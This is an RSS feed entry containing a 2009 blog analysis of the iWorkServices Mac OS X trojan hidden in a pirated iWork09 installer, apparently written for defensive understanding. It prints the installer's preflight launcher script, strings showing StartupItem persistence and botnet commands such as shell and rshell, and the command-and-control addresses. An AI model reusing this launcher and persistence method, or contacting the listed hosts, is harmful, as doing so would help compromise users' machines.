<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cordney* &#187; trojan</title>
	<atom:link href="http://cordney.com/tag/trojan/feed/" rel="self" type="application/rss+xml" />
	<link>http://cordney.com</link>
	<description>security, technology, life</description>
	<lastBuildDate>Tue, 11 Oct 2011 05:16:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>iWork/CS4 Trojan In-Depth Analysis</title>
		<link>http://cordney.com/2009/01/27/iworkcs4-trojan-in-depth-analysis/</link>
		<comments>http://cordney.com/2009/01/27/iworkcs4-trojan-in-depth-analysis/#comments</comments>
		<pubDate>Tue, 27 Jan 2009 15:05:07 +0000</pubDate>
		<dc:creator>cordney*</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[in-depth]]></category>
		<category><![CDATA[iwork09]]></category>
		<category><![CDATA[mac os x]]></category>
		<category><![CDATA[p2p botnet]]></category>
		<category><![CDATA[trial]]></category>
		<category><![CDATA[trojan]]></category>

		<guid isPermaLink="false">http://cordney.com/?p=78</guid>
		<description><![CDATA[Last week&#8217;s Intego trojan alert caught quite a bit of attention in the Mac community and was captured on probably every IT-News site around the world. As this might be the first really serious trojan to threat Mac OS X users, let&#8217;s go and try to analyze it. First, this is a Universal Binary, so [...]]]></description>
			<content:encoded><![CDATA[<p>Last week&#8217;s <a href="http://www.intego.com/news/ism0901.asp">Intego trojan alert</a> caught quite a bit of attention in the Mac community and was captured on probably every IT-News site around the world. As this might be the first really serious trojan to threat Mac OS X users, let&#8217;s go and try to analyze it.</p>
<p>First, this is a Universal Binary, so it affects Macs both running on Intel- and PowerPC processors.</p>
<p><img src="http://cordney.com/wp-content/uploads/bild-3.png" alt="Universal Binary" title="bild-3" width="264" height="173" class="aligncenter size-full wp-image-79" /><br />
The SHA-1 fingerprint of <em>iworkservices</em> is 55d754b95ab9b34bdd848300045c3e11caf67ecf.</p>
<p>The <em>iWork09</em> package is basically a repackaged version of the <em>iWork09 Trial</em> download from <a href="http://www.apple.com/iwork/download-trial/">apple.com</a> with a serial to unlock it included. To add their trojan/backdoor to the package, they had to do some work first.</p>
<p><img src="http://cordney.com/wp-content/uploads/bild-4.png" alt="bild-4" title="bild-4" width="187" height="94" class="aligncenter size-full wp-image-84" /><br />
What you see is the content of the <em>iWork09Trial.mpkg</em> install package. Both <em>Info.plist</em> and <em>iWorkTrial.dist</em> control the behaviour of the installation process of the whole package. Sub-packages are listed here.</p>
<p><img src="http://cordney.com/wp-content/uploads/bild-5.png" alt="bild-5" title="bild-5" width="290" height="283" class="aligncenter size-full wp-image-86" /><em>from the Info.plist</em></p>
<p><img src="http://cordney.com/wp-content/uploads/bild-6.png" alt="bild-6" title="bild-6" width="1014" height="242" class="aligncenter size-full wp-image-87" /><em>from the iWorkTrial.dist</em></p>
<p>Now, the <em>iWorkServices.pkg</em> install package contains the usual files created by Apple&#8217;s <em>Package Maker</em>, a pretty nifty, straightforward and GUI-based tool for creating installation packages for Mac OS X*.<br />
*Available from within the <a href="http://connect.apple.com">Developer Tools</a>.</p>
<p><img src="http://cordney.com/wp-content/uploads/bild-7.png" alt="bild-7" title="bild-7" width="393" height="145" class="aligncenter size-full wp-image-103" /></p>
<p>The interesting files here are <em>preflight</em>, a script which is executed by the installer prior to the actual program install, and <em>iworkservices</em>, which is the trojan itself.<br />
<code><br />
#!/bin/sh<br />
"$1/Contents/Resources/iworkservices" &#038;<br />
</code><br />
The <em>preflight</em> script simply executes the trojan in a shell, where <em>$1</em> is just a placeholder for the on-disk path to the install package.</p>
<p>Now comes the interesting part. Running <em>otool</em> revealed that it&#8217;s not an Objective-C, but a C/C++ program. Furthermore, running <em>strings</em> on <em>iworkservices</em> yields some details of the trojan&#8217;s behaviour.</p>
<p><code><br />
__dyld_make_delayed_module_initializer_calls<br />
__dyld_mod_term_funcs<br />
/usr/lib/libSystem.B.dylib<br />
__cxa_atexit<br />
__cxa_finalize<br />
atexit<br />
/System/Library/StartupItems/iWorkServices<br />
/usr/bin/iWorkServices<br />
cp %s %s<br />
/System/Library/StartupItems/iWorkServices/StartupParameters.plist<br />
/System/Library/StartupItems/iWorkServices/iWorkServices<br />
chmod 755 /System/Library/StartupItems/iWorkServices/iWorkServices<br />
Description     = "iWorkServices";<br />
Provides        = ("iWorkServices");<br />
Requires        = ("Network");<br />
OrderPreference = "None";<br />
#!/bin/sh<br />
/usr/bin/iWorkServices &#038;<br />
iWorkServices<br />
socks<br />
system<br />
httpget<br />
httpgeted<br />
rand<br />
sleep<br />
banadd<br />
banclear<br />
p2plock<br />
p2punlock<br />
nodes<br />
leafs<br />
unknowns<br />
p2pport<br />
p2pmode<br />
p2ppeer<br />
p2ppeerport<br />
p2ppeertype<br />
clear<br />
p2pihistsize<br />
p2pihist<br />
platform<br />
script<br />
sendlogs<br />
uptime<br />
shell<br />
rshell<br />
GET %s HTTP/1.0<br />
GET %s HTTP/1.0<br />
Host: %s<br />
Accept: text/html<br />
Content-Length<br />
/tmp/.iWorkServices<br />
p2pnodes<br />
%s:%d<br />
/dev/urandom<br />
%.2X<br />
http://<br />
PANIC: unprotected error in call to Lua API (%s)<br />
[...]</code><br />
<em>excerpt from the output of strings, see full output <a href="http://cordney.com/wp-content/uploads/iworkservices.strings">here</a></em></p>
<p>As you can see, it first copies itself to <em>/System/Library/StartupItems/iWorkServices</em> and <em>/usr/bin/iWorkServices</em>, creates a <em>StartupParameters.plist</em> configuration file, sets rwxr-xr-x permissions on the executeable and finally runs itself from within <em>/usr/bin/iWorkServices</em>. Note the <em>Requires = (&#8220;Network&#8221;);</em> line in the configuration file which means the Startup Item will be launched by <em>launchd</em> when network connection is available.</p>
<p>As some people already found out, this trojan is actually a bot program. The commands which your bot may receive from the master server are listed below.<br />
<code><br />
socks<br />
system<br />
httpget<br />
httpgeted<br />
rand<br />
sleep<br />
banadd<br />
banclear<br />
p2plock<br />
p2punlock<br />
nodes<br />
leafs<br />
unknowns<br />
p2pport<br />
p2pmode<br />
p2ppeer<br />
p2ppeerport<br />
p2ppeertype<br />
clear<br />
p2pihistsize<br />
p2pihist<br />
platform<br />
script<br />
sendlogs<br />
uptime<br />
shell<br />
rshell<br />
p2pnodes</code></p>
<p>So this looks like it&#8217;s a Peer-to-Peer botnet. When started, it connects to the master server(s) serving at <strong>69.92.177.146:59201</strong> and <strong>qwfojzlk.freehostia.com:1024</strong> using HTTP and downloads a list of all other p2p nodes to <em>/tmp/.iWorkServices</em>.<br />
<code><br />
GET %s HTTP/1.0<br />
GET %s HTTP/1.0<br />
Host: %s<br />
Accept: text/html<br />
Content-Length<br />
/tmp/.iWorkServices<br />
p2pnodes<br />
%s:%d<br />
/dev/urandom<br />
%.2X</p>
<p>http://</code></p>
<p>Right after that it&#8217;ll go to sleep until it receives commands from the master server.</p>
<p>What&#8217;s also interesting is the mentioning of the Lua API.<br />
<code>PANIC: unprotected error in call to Lua API (%s)</code><br />
<a href="http://www.lua.org/">Lua</a> is powerful but yet small embeddable scripting language. It seems the bad guys are making their life easier, too.</p>
<p>Disassembling the whole trojan gave about 43,000 lines of code, but this probably includes the Lua API set. If someone has left some spare time, grab the code <a href="http://cordney.com/wp-content/uploads/iworkservices.asm">here</a>.</p>
<p>According to <a href="http://www.intego.com/">Intego</a>, as of 22., Jan 20,000 people already downloaded this pirated copy. So we have a botnet of 20,000+ Macs supposedly already running <a href="http://osnews.com/thread?345285">DDOS attacks</a> against <a href="http://voices.washingtonpost.com/securityfix/2009/01/pirated_iwork_software_infects.html?hpid=sec-tech">some sites</a> using a <a href="http://notahat.com/posts/28">PHP script</a>.</p>
<p>If anyone is investigating this botnet a little further, please let me know.<br />
Thanks go to Methusela Cebrian Ferrer from <em>iThreats</em> for the <a href="http://ithreats.wordpress.com/2009/01/22/latest-os-x-threat-iworkservices/">initial sight</a> into the trojan.</p>
]]></content:encoded>
			<wfw:commentRss>http://cordney.com/2009/01/27/iworkcs4-trojan-in-depth-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

